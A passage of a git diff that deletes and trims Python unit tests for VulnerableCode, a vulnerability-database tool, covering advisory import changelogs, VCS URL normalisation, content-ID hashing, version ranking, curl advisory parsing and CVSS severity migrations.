created_by=NpmImporterPipeline.pipeline_id, - summary="TEST-1", - date_collected=datetime.now(), - url="https://test.com/source-1", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="foo", - ), - affected_version_range=NpmVersionRange.from_native(">=2.0"), - ).to_dict() - ], - ) - adv.aliases.add(*get_or_create_aliases(["CVE-123"])) - NpmImporterPipeline().import_advisory(advisory=adv) - assert models.PackageChangeLog.objects.filter(package=pkg1).count() == 1 - NpmImporterPipeline().import_advisory(advisory=adv) - assert models.PackageChangeLog.objects.filter(package=pkg1).count() == 1 - assert ( - models.PackageChangeLog.objects.filter( - action_type=models.PackageChangeLog.AFFECTED_BY, - package=pkg1, - ).count() - == 1 - ) - - -@pytest.mark.django_db -def test_vulnerability_changelog(): - adv = models.Advisory.objects.create( - unique_content_id="test-unique-content-id3", - created_by=NpmImporterPipeline.pipeline_id, - summary="TEST_1", - date_collected=datetime.now(), - url="https://test.com/source", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="foo", - ), - fixed_version=SemverVersion("1.0"), - ).to_dict() - ], - ) - adv.aliases.add(*get_or_create_aliases(["CVE-TEST-1234"])) - NpmImporterPipeline().import_advisory(advisory=adv) - # 1 Changelogs is expected here: - # 1 for importing vuln details - assert models.VulnerabilityChangeLog.objects.count() == 1 - NpmImporterPipeline().import_advisory(advisory=adv) - assert models.VulnerabilityChangeLog.objects.count() == 1 - assert ( - models.VulnerabilityChangeLog.objects.filter( - action_type=models.VulnerabilityChangeLog.IMPORT - ).count() - == 1 - ) - - -@patch("vulnerabilities.models.VULNERABLECODE_VERSION", "test-version") -@pytest.mark.django_db -def test_vulnerability_changelog_software_version(): - adv = models.Advisory.objects.create( - unique_content_id="test-unique-content-id4", - created_by=NpmImporterPipeline.pipeline_id, - summary="TEST_1", - date_collected=datetime.now(), - url="https://test.com/source", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="foo", - ), - fixed_version=SemverVersion("1.0"), - ).to_dict() - ], - ) - adv.aliases.add(*get_or_create_aliases(["CVE-TEST-1234"])) - NpmImporterPipeline().import_advisory(advisory=adv) - npm_vulnerability_log = models.VulnerabilityChangeLog.objects.first() - - assert ("test-version", npm_vulnerability_log.software_version) diff --git a/vulnerabilities/tests/test_collect_commits.py b/vulnerabilities/tests/test_collect_commits.py deleted file mode 100644 index c478244e1..000000000 --- a/vulnerabilities/tests/test_collect_commits.py +++ /dev/null @@ -1,166 +0,0 @@ -from django.test import TestCase - -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import CodeFix -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.pipelines.collect_commits import CollectFixCommitsPipeline -from vulnerabilities.pipelines.collect_commits import is_vcs_url -from vulnerabilities.pipelines.collect_commits import is_vcs_url_already_processed -from vulnerabilities.pipelines.collect_commits import normalize_vcs_url - - -class CollectFixCommitsPipelineTests(TestCase): - def setUp(self): - self.vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", summary="Test vulnerability" - ) - - package = Package.objects.create(type="npm", namespace="abc", name="def", version="1") - - self.affected_by_vuln = AffectedByPackageRelatedVulnerability.objects.create( - package=package, vulnerability=self.vulnerability - ) - - self.reference1 = VulnerabilityReference.objects.create( - url="https://github.com/example/repo/commit/abcd1234" - ) - - self.reference2 = VulnerabilityReference.objects.create( - url="https://gitlab.com/example/repo/commit/efgh5678" - ) - VulnerabilityRelatedReference.objects.create( - vulnerability=self.vulnerability, reference=self.reference2 - ) - VulnerabilityRelatedReference.objects.create( - vulnerability=self.vulnerability, reference=self.reference1 - ) - - def test_is_vcs_url(self): - valid_urls = [ - "git://github.com/angular/di.js.git", - "https://github.com/user/repo.git", - "git@gitlab.com:user/repo.git", - ] - invalid_urls = [ - "ftp://example.com/not-a-repo", - "random-string", - "https://example.com/not-a-repo", - ] - for url in valid_urls: - assert is_vcs_url(url) is True - - for url in invalid_urls: - assert is_vcs_url(url) is False - - def test_normalize_vcs_url(self): - - assert ( - normalize_vcs_url("git@github.com:user/repo.git") == "https://github.com/user/repo.git" - ) - assert normalize_vcs_url("github:user/repo") == "https://github.com/user/repo" - assert normalize_vcs_url( - "https://github.com/user/repo.git" - ), "https://github.com/user/repo.git" - - def test_is_vcs_url_already_processed(self): - CodeFix.objects.create( - commits=["https://github.com/example/repo/commit/abcd1234"], - affected_package_vulnerability=self.affected_by_vuln, - ) - assert ( - is_vcs_url_already_processed("https://github.com/example/repo/commit/abcd1234") is True - ) - assert ( - is_vcs_url_already_processed("https://github.com/example/repo/commit/unknown") is False - ) - - def test_collect_and_store_fix_commits(self): - pipeline = CollectFixCommitsPipeline() - pipeline.collect_and_store_fix_commits() - - assert ( - CodeFix.objects.filter( - commits__contains=["https://github.com/example/repo/commit/abcd1234"] - ).exists() - is True - ) - assert ( - CodeFix.objects.filter( - commits__contains=["https://gitlab.com/example/repo/commit/efgh5678"] - ).exists() - is True - ) - - def test_skip_already_processed_commit(self): - CodeFix.objects.create( - commits=["https://github.com/example/repo/commit/abcd1234"], - affected_package_vulnerability=self.affected_by_vuln, - ) - - pipeline = CollectFixCommitsPipeline() - pipeline.collect_and_store_fix_commits() - - # Ensure duplicate entry was not created - self.assertEqual( - CodeFix.objects.filter( - commits__contains=["https://github.com/example/repo/commit/abcd1234"] - ).count(), - 1, - ) - - -class IsVCSURLTests(TestCase): - def test_valid_vcs_urls(self): - valid_urls = [ - "git://github.com/example/repo.git", - "https://github.com/example/repo.git", - "git@github.com:example/repo.git", - "github:user/repo", - ] - for url in valid_urls: - with self.subTest(url=url): - self.assertTrue(is_vcs_url(url)) - - def test_invalid_vcs_urls(self): - invalid_urls = ["http://example.com", "ftp://example.com/repo", "random-string"] - for url in invalid_urls: - with self.subTest(url=url): - self.assertFalse(is_vcs_url(url)) - - -class NormalizeVCSURLTests(TestCase): - def test_normalize_valid_vcs_urls(self): - self.assertEqual( - normalize_vcs_url("git@github.com:user/repo.git"), "https://github.com/user/repo.git" - ) - self.assertEqual(normalize_vcs_url("github:user/repo"), "https://github.com/user/repo") - self.assertEqual( - normalize_vcs_url("https://github.com/user/repo.git"), - "https://github.com/user/repo.git", - ) - - -class IsVCSURLAlreadyProcessedTests(TestCase): - def setUp(self): - self.vulnerability = Vulnerability.objects.create(vulnerability_id="VCID-5678") - package = Package.objects.create(type="npm", namespace="abc", name="def", version="1") - self.affected_by_vuln = AffectedByPackageRelatedVulnerability.objects.create( - package=package, vulnerability=self.vulnerability - ) - self.code_fix = CodeFix.objects.create( - commits=["https://github.com/example/repo/commit/commit1"], - affected_package_vulnerability=self.affected_by_vuln, - ) - - def test_commit_already_processed(self): - self.assertTrue( - is_vcs_url_already_processed("https://github.com/example/repo/commit/commit1") - ) - - def test_commit_not_processed(self): - self.assertFalse( - is_vcs_url_already_processed("https://github.com/example/repo/commit/commit2") - ) diff --git a/vulnerabilities/tests/test_compute_content_id.py b/vulnerabilities/tests/test_compute_content_id.py deleted file mode 100644 index 3e718b1af..000000000 --- a/vulnerabilities/tests/test_compute_content_id.py +++ /dev/null @@ -1,208 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import datetime -from unittest import TestCase - -import pytz -from packageurl import PackageURL -from univers.version_range import VersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.utils import compute_content_id - - -class TestComputeContentId(TestCase): - def setUp(self): - self.maxDiff = None - self.base_advisory = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="package1", - qualifiers={}, - ), - affected_version_range=VersionRange.from_string("vers:npm/>=1.0.0|<2.0.0"), - ) - ], - references=[ - Reference( - url="https://example.com/vuln1", - reference_id="GHSA-1234-5678-9012", - severities=[ - VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], - value="7.5", - ) - ], - ) - ], - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - def test_same_content_different_order_same_id(self): - """ - Test that advisories with same content but different ordering have same content ID - """ - advisory1 = self.base_advisory - - # Same content but different order of references and affected packages - advisory2 = AdvisoryData( - summary="Test summary", - affected_packages=list(reversed(self.base_advisory.affected_packages)), - references=list(reversed(self.base_advisory.references)), - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - assert compute_content_id(advisory1) == compute_content_id(advisory2) - - def test_different_metadata_same_content_same_id(self): - """ - Test that advisories with same content but different metadata have same content ID - when include_metadata=False - """ - advisory1 = self.base_advisory - - advisory2 = AdvisoryData( - summary=self.base_advisory.summary, - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - date_published=self.base_advisory.date_published, - url=self.base_advisory.url, - ) - - assert compute_content_id(advisory1) == compute_content_id(advisory2) - - def test_different_summary_different_id(self): - """ - Test that advisories with different summaries have different content IDs - """ - advisory1 = self.base_advisory - - advisory2 = AdvisoryData( - summary="Different summary", - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - self.assertNotEqual( - compute_content_id(advisory1), - compute_content_id(advisory2), - ) - - def test_different_affected_packages_different_id(self): - """ - Test that advisories with different affected packages have different content IDs - """ - advisory1 = self.base_advisory - - advisory2 = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="different-package", - qualifiers={}, - ), - affected_version_range=VersionRange.from_string("vers:npm/>=1.0.0|<2.0.0"), - ) - ], - references=self.base_advisory.references, - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - self.assertNotEqual( - compute_content_id(advisory1), - compute_content_id(advisory2), - ) - - def test_different_references_different_id(self): - """ - Test that advisories with different references have different content IDs - """ - advisory1 = self.base_advisory - - advisory2 = AdvisoryData( - summary="Test summary", - affected_packages=self.base_advisory.affected_packages, - references=[ - Reference( - url="https://example.com/different-vuln", - reference_id="GHSA-9999-9999-9999", - severities=[ - VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], - value="8.5", - ) - ], - ) - ], - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - self.assertNotEqual( - compute_content_id(advisory1), - compute_content_id(advisory2), - ) - - def test_different_weaknesses_different_id(self): - """ - Test that advisories with different weaknesses have different content IDs - """ - advisory1 = AdvisoryData( - summary="Test summary", - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - weaknesses=[1, 2, 3], - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - advisory2 = AdvisoryData( - summary="Test summary", - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - weaknesses=[4, 5, 6], - date_published=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - ) - - self.assertNotEqual( - compute_content_id(advisory1), - compute_content_id(advisory2), - ) - - def test_empty_fields_same_id(self): - """ - Test that advisories with empty optional fields still generate same content ID - """ - advisory1 = AdvisoryData( - summary="", - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - date_published=None, - ) - - advisory2 = AdvisoryData( - summary="", - affected_packages=self.base_advisory.affected_packages, - references=self.base_advisory.references, - date_published=None, - ) - - self.assertEqual( - compute_content_id(advisory1), - compute_content_id(advisory2), - ) diff --git a/vulnerabilities/tests/test_compute_package_version_rank.py b/vulnerabilities/tests/test_compute_package_version_rank.py deleted file mode 100644 index 12cd172a8..000000000 --- a/vulnerabilities/tests/test_compute_package_version_rank.py +++ /dev/null @@ -1,59 +0,0 @@ -from unittest.mock import patch - -import pytest -from univers.versions import Version - -from vulnerabilities.models import Package -from vulnerabilities.pipelines.compute_package_version_rank import ComputeVersionRankPipeline - - -@pytest.mark.django_db -class TestComputeVersionRankPipeline: - @pytest.fixture - def pipeline(self): - return ComputeVersionRankPipeline() - - @pytest.fixture - def packages(self, db): - package_type = "pypi" - namespace = "test_namespace" - name = "test_package" - Package.objects.create(type=package_type, namespace=namespace, name=name, version="1.0.0") - Package.objects.create(type=package_type, namespace=namespace, name=name, version="1.1.0") - Package.objects.create(type=package_type, namespace=namespace, name=name, version="0.9.0") - return Package.objects.filter(type=package_type, namespace=namespace, name=name) - - def test_compute_and_store_version_rank(self, pipeline, packages): - with patch.object(pipeline, "log") as mock_log: - pipeline.compute_and_store_version_rank() - assert mock_log.call_count > 0 - for package in packages: - assert package.version_rank is not None - - def test_update_version_rank_for_group(self, pipeline, packages): - with patch.object(Package.objects, "bulk_update") as mock_bulk_update: - pipeline.update_version_rank_for_group(packages) - mock_bulk_update.assert_called_once() - updated_packages = mock_bulk_update.call_args[0][0] - assert len(updated_packages) == len(packages) - for idx, package in enumerate(sorted(packages, key=lambda p: Version(p.version))): - assert updated_packages[idx].version_rank == idx - - def test_sort_packages_by_version(self, pipeline, packages): - sorted_packages = pipeline.sort_packages_by_version(packages) - versions = [p.version for p in sorted_packages] - assert versions == sorted(versions, key=Version) - - def test_sort_packages_by_version_empty(self, pipeline): - assert pipeline.sort_packages_by_version([]) == [] - - def test_sort_packages_by_version_invalid_scheme(self, pipeline, packages): - for package in packages: - package.type = "invalid" - assert pipeline.sort_packages_by_version(packages) == [] - - def test_compute_and_store_version_rank_invalid_scheme(self, pipeline): - Package.objects.create(type="invalid", namespace="test", name="package", version="1.0.0") - with patch.object(pipeline, "log") as mock_log: - pipeline.compute_and_store_version_rank() - mock_log.assert_any_call("Successfully populated `version_rank` for all packages.") diff --git a/vulnerabilities/tests/test_cpe_reference.py b/vulnerabilities/tests/test_cpe_reference.py deleted file mode 100644 index 2c66db2e8..000000000 --- a/vulnerabilities/tests/test_cpe_reference.py +++ /dev/null @@ -1,24 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import pytest - -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference - - -@pytest.mark.django_db -def test_cpe_as_reference_id_in_db(): - vulnerability = Vulnerability(summary="lorem ipsum" * 10) - vulnerability.save() - VulnerabilityReference.objects.get_or_create( - reference_id="cpe:2.3:a:microsoft:windows_10:10.0.17134:*:*:*:*:*:*:*" * 3, - url="https://foo.com", - vulnerability=vulnerability, - ) diff --git a/vulnerabilities/tests/test_curl.py b/vulnerabilities/tests/test_curl.py deleted file mode 100644 index 6822e9677..000000000 --- a/vulnerabilities/tests/test_curl.py +++ /dev/null @@ -1,73 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from unittest import TestCase -from unittest.mock import patch - -from vulnerabilities.importers.curl import get_cwe_from_curl_advisory -from vulnerabilities.importers.curl import parse_advisory_data -from vulnerabilities.tests import util_tests -from vulnerabilities.utils import load_json - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/curl") - - -class TestCurlImporter(TestCase): - def test_parse_advisory_data1(self): - mock_response = load_json(os.path.join(TEST_DATA, "curl_advisory_mock1.json")) - expected_file = os.path.join(TEST_DATA, "expected_curl_advisory_output1.json") - result = parse_advisory_data(mock_response) - result = result.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_parse_advisory_data2(self): - mock_response = load_json(os.path.join(TEST_DATA, "curl_advisory_mock2.json")) - expected_file = os.path.join(TEST_DATA, "expected_curl_advisory_output2.json") - result = parse_advisory_data(mock_response) - result = result.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_parse_advisory_data3(self): - mock_response = load_json(os.path.join(TEST_DATA, "curl_advisory_mock3.json")) - expected_file = os.path.join(TEST_DATA, "expected_curl_advisory_output3.json") - result = parse_advisory_data(mock_response) - result = result.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_get_cwe_from_curl_advisory(self): - assert get_cwe_from_curl_advisory( - { - "id": "CURL-CVE-2024-2466", - "database_specific": { - "CWE": { - "id": "CWE-297", - "desc": "Improper Validation of Certificate with Host Mismatch", - }, - }, - } - ) == [297] - - mock_advisory = [ - { - "id": "CURL-CVE-XXXX-XXXX", - "database_specific": {"CWE": {"id": "CWE-111111111", "desc": "Invalid weaknesses"}}, - }, - { - "id": "CURL-CVE-2024-2466", - "database_specific": { - "CWE": {"id": "CWE-311", "desc": "Missing Encryption of Sensitive Data"}, - }, - }, - ] - mock_cwe_list = [] - for advisory in mock_advisory: - mock_cwe_list.extend(get_cwe_from_curl_advisory(advisory)) - assert mock_cwe_list == [311] diff --git a/vulnerabilities/tests/test_data_migrations.py b/vulnerabilities/tests/test_data_migrations.py index ceedde20f..5fab1c529 100644 --- a/vulnerabilities/tests/test_data_migrations.py +++ b/vulnerabilities/tests/test_data_migrations.py @@ -7,27 +7,13 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -from datetime import datetime - from django.apps import apps -from django.db import IntegrityError from django.db import connection from django.db.migrations.executor import MigrationExecutor from django.db.models import Count from django.test import TestCase -from django.utils import timezone -from packageurl import PackageURL -from univers.version_range import VersionRange from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.models import AdvisorySeverity -from vulnerabilities.models import AdvisoryV2 -from vulnerabilities.models import ImpactedPackage -from vulnerabilities.utils import compute_content_id_v2 -from vulnerabilities.utils import purl_to_dict class TestMigrations(TestCase): @@ -66,978 +52,8 @@ def setUpBeforeMigration(self, apps): pass -class DuplicateSeverityTestCase(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0013_auto_20220503_0941" - migrate_to = "0014_remove_duplicate_severities" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - VulnerabilityReference = apps.get_model("vulnerabilities", "VulnerabilityReference") - Severities = apps.get_model("vulnerabilities", "VulnerabilitySeverity") - Vulnerability = apps.get_model("vulnerabilities", "Vulnerability") - - reference = VulnerabilityReference.objects.create( - reference_id="CVE-TEST", url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-TEST" - ) - self.reference = reference - vulnerability1 = Vulnerability(vulnerability_id=1, summary="test-1") - vulnerability1.save() - vulnerability2 = Vulnerability(vulnerability_id=2, summary="test-2") - vulnerability2.save() - vulnerability3 = Vulnerability(vulnerability_id=3, summary="test-3") - vulnerability3.save() - Severities.objects.update_or_create( - vulnerability=vulnerability1, - scoring_system=severity_systems.REDHAT_AGGREGATE.identifier, - reference=reference, - defaults={"value": str("TEST")}, - ) - Severities.objects.update_or_create( - vulnerability=vulnerability2, - scoring_system=severity_systems.REDHAT_AGGREGATE.identifier, - reference=reference, - defaults={"value": str("TEST")}, - ) - Severities.objects.update_or_create( - vulnerability=vulnerability3, - scoring_system=severity_systems.REDHAT_AGGREGATE.identifier, - reference=reference, - defaults={"value": str("TEST")}, - ) - - def test_remove_duplicate_rows(self): - VulnerabilitySeverity = self.apps.get_model("vulnerabilities", "VulnerabilitySeverity") - assert len(VulnerabilitySeverity.objects.filter(reference=self.reference.id)) == 1 - - -class DropVulnerabilityFromSeverityTestCase(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0014_remove_duplicate_severities" - migrate_to = "0015_alter_vulnerabilityseverity_unique_together_and_more" - - def test_dropping_vulnerability_from_severity(self): - # using get_model to avoid circular import - VulnerabilityReference = self.apps.get_model("vulnerabilities", "VulnerabilityReference") - VulnerabilitySeverity = self.apps.get_model("vulnerabilities", "VulnerabilitySeverity") - - reference = VulnerabilityReference.objects.create( - reference_id="CVE-TEST", url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-TEST" - ) - VulnerabilitySeverity.objects.update_or_create( - scoring_system=severity_systems.REDHAT_AGGREGATE.identifier, - reference=reference, - defaults={"value": str("TEST")}, - ) - - -class UpdateCPEURL(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0015_alter_vulnerabilityseverity_unique_together_and_more" - migrate_to = "0016_update_cpe_url" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - VulnerabilityReference = apps.get_model("vulnerabilities", "VulnerabilityReference") - - reference = VulnerabilityReference.objects.create( - reference_id="cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*", url="" - ) - reference.save() - self.reference = reference - - def test_cpe_url_update(self): - # using get_model to avoid circular import - VulnerabilityReference = self.apps.get_model("vulnerabilities", "VulnerabilityReference") - ref = VulnerabilityReference.objects.get(reference_id=self.reference.reference_id) - assert ( - ref.url - == "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*" - ) - - -class TestCvssVectorMigrationToScoringElementComputeNewScores(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0031_vulnerabilityseverity_scoring_elements" - migrate_to = "0032_vulnerabilityseverity_merge_cvss_score_and_vector" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - VulnerabilitySeverity = apps.get_model("vulnerabilities", "VulnerabilitySeverity") - VulnerabilityReference = apps.get_model("vulnerabilities", "VulnerabilityReference") - reference = VulnerabilityReference.objects.create( - id=1, reference_id="fake-reference_id", url="fake-url" - ) - reference.save() - self.reference = reference - self.severities = [ - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV2.identifier, - value="AV:N/AC:L/Au:N/C:P/I:P/A:P", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="AV:N/AC:L/Au:N/C:P/I:P/A:P", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3_vector", - value="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3.1_vector", - value="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="generic_textual", - value="Low", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="rhbs", - value="medium", - reference_id=1, - ), - ] - for severity in self.severities: - severity.save() - - def test_compute_cvss(self): - # using get_model to avoid circular import - VulnerabilitySeverity = self.apps.get_model("vulnerabilities", "VulnerabilitySeverity") - severities = list( - VulnerabilitySeverity.objects.values( - "reference_id", "scoring_system", "value", "scoring_elements" - ).all() - ) - expected = [ - { - "reference_id": 1, - "scoring_system": "cvssv2", - "value": "7.5", - "scoring_elements": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - }, - { - "reference_id": 1, - "scoring_system": "cvssv2", - "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - "scoring_elements": None, - }, - { - "reference_id": 1, - "scoring_system": "cvssv3", - "value": "7.5", - "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - }, - { - "reference_id": 1, - "scoring_system": "cvssv3.1", - "value": "9.8", - "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - }, - { - "reference_id": 1, - "scoring_system": "generic_textual", - "value": "Low", - "scoring_elements": None, - }, - { - "reference_id": 1, - "scoring_system": "rhbs", - "value": "medium", - "scoring_elements": None, - }, - ] - assert severities == expected - - -class TestCvssVectorMigrationToScoringElementMergeRows(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0031_vulnerabilityseverity_scoring_elements" - migrate_to = "0032_vulnerabilityseverity_merge_cvss_score_and_vector" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - VulnerabilitySeverity = apps.get_model("vulnerabilities", "VulnerabilitySeverity") - VulnerabilityReference = apps.get_model("vulnerabilities", "VulnerabilityReference") - self.reference_list = [ - VulnerabilityReference.objects.create( - id=1, - reference_id="fake-reference_id1", - url="fake-url1", - ), - VulnerabilityReference.objects.create( - id=2, - reference_id="fake-reference_id2", - url="fake-url2", - ), - VulnerabilityReference.objects.create( - id=3, - reference_id="fake-reference_id3", - url="fake-url3", - ), - VulnerabilityReference.objects.create( - id=4, - reference_id="fake-reference_id4", - url="fake-url4", - ), - VulnerabilityReference.objects.create( - id=5, - reference_id="fake-reference_id5", - url="fake-url5", - ), - ] - - for reference in self.reference_list: - reference.save() - - self.severities = [ - # test severity_cvss2 - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV2.identifier, - value="7.5", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="AV:N/AC:L/Au:N/C:P/I:P/A:P", - reference_id=1, - ), - # test severity_cvss3 - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV3.identifier, - value="7.5", - reference_id=2, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3_vector", - value="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - reference_id=2, - ), - # test severity_cvss3_1 - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV31.identifier, - value="9.8", - reference_id=3, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3.1_vector", - value="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - reference_id=3, - ), - # test all type of severities for the same reference_id 4 - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV2.identifier, - value="7.5", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="AV:N/AC:L/Au:N/C:P/I:P/A:P", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV3.identifier, - value="7.5", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3_vector", - value="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV31.identifier, - value="9.8", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3.1_vector", - value="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system="generic_textual", - value="Low", - reference_id=4, - ), - VulnerabilitySeverity.objects.create( - scoring_system="rhbs", - value="medium", - reference_id=4, - ), - # solo cases - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV3.identifier, - value="8", - reference_id=5, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv3.1_vector", - value="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - # value="9.8", - reference_id=5, - ), - ] - - for severity in self.severities: - severity.save() - - def test_merge_rows(self): - # using get_model to avoid circular import - VulnerabilitySeverity = self.apps.get_model("vulnerabilities", "VulnerabilitySeverity") - - severities = list( - VulnerabilitySeverity.objects.values( - "reference_id", - "scoring_system", - "value", - "scoring_elements", - ).all() - ) - expected = [ - { - "reference_id": 1, - "scoring_system": "cvssv2", - "value": "7.5", - "scoring_elements": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - }, - { - "reference_id": 2, - "scoring_system": "cvssv3", - "value": "7.5", - "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - }, - { - "reference_id": 3, - "scoring_system": "cvssv3.1", - "value": "9.8", - "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - }, - { - "reference_id": 4, - "scoring_system": "cvssv2", - "value": "7.5", - "scoring_elements": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - }, - { - "reference_id": 4, - "scoring_system": "cvssv3", - "value": "7.5", - "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - }, - { - "reference_id": 4, - "scoring_system": "cvssv3.1", - "value": "9.8", - "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - }, - { - "reference_id": 4, - "scoring_system": "generic_textual", - "value": "Low", - "scoring_elements": None, - }, - { - "reference_id": 4, - "scoring_system": "rhbs", - "value": "medium", - "scoring_elements": None, - }, - { - "reference_id": 5, - "scoring_system": "cvssv3", - "value": "8", - "scoring_elements": None, - }, - { - "reference_id": 5, - "scoring_system": "cvssv3.1", - "value": "9.8", - "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - }, - ] - assert severities == expected - - -class TestCvssVectorMigrationToScoringElementMergeRowsWithDupes(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0031_vulnerabilityseverity_scoring_elements" - migrate_to = 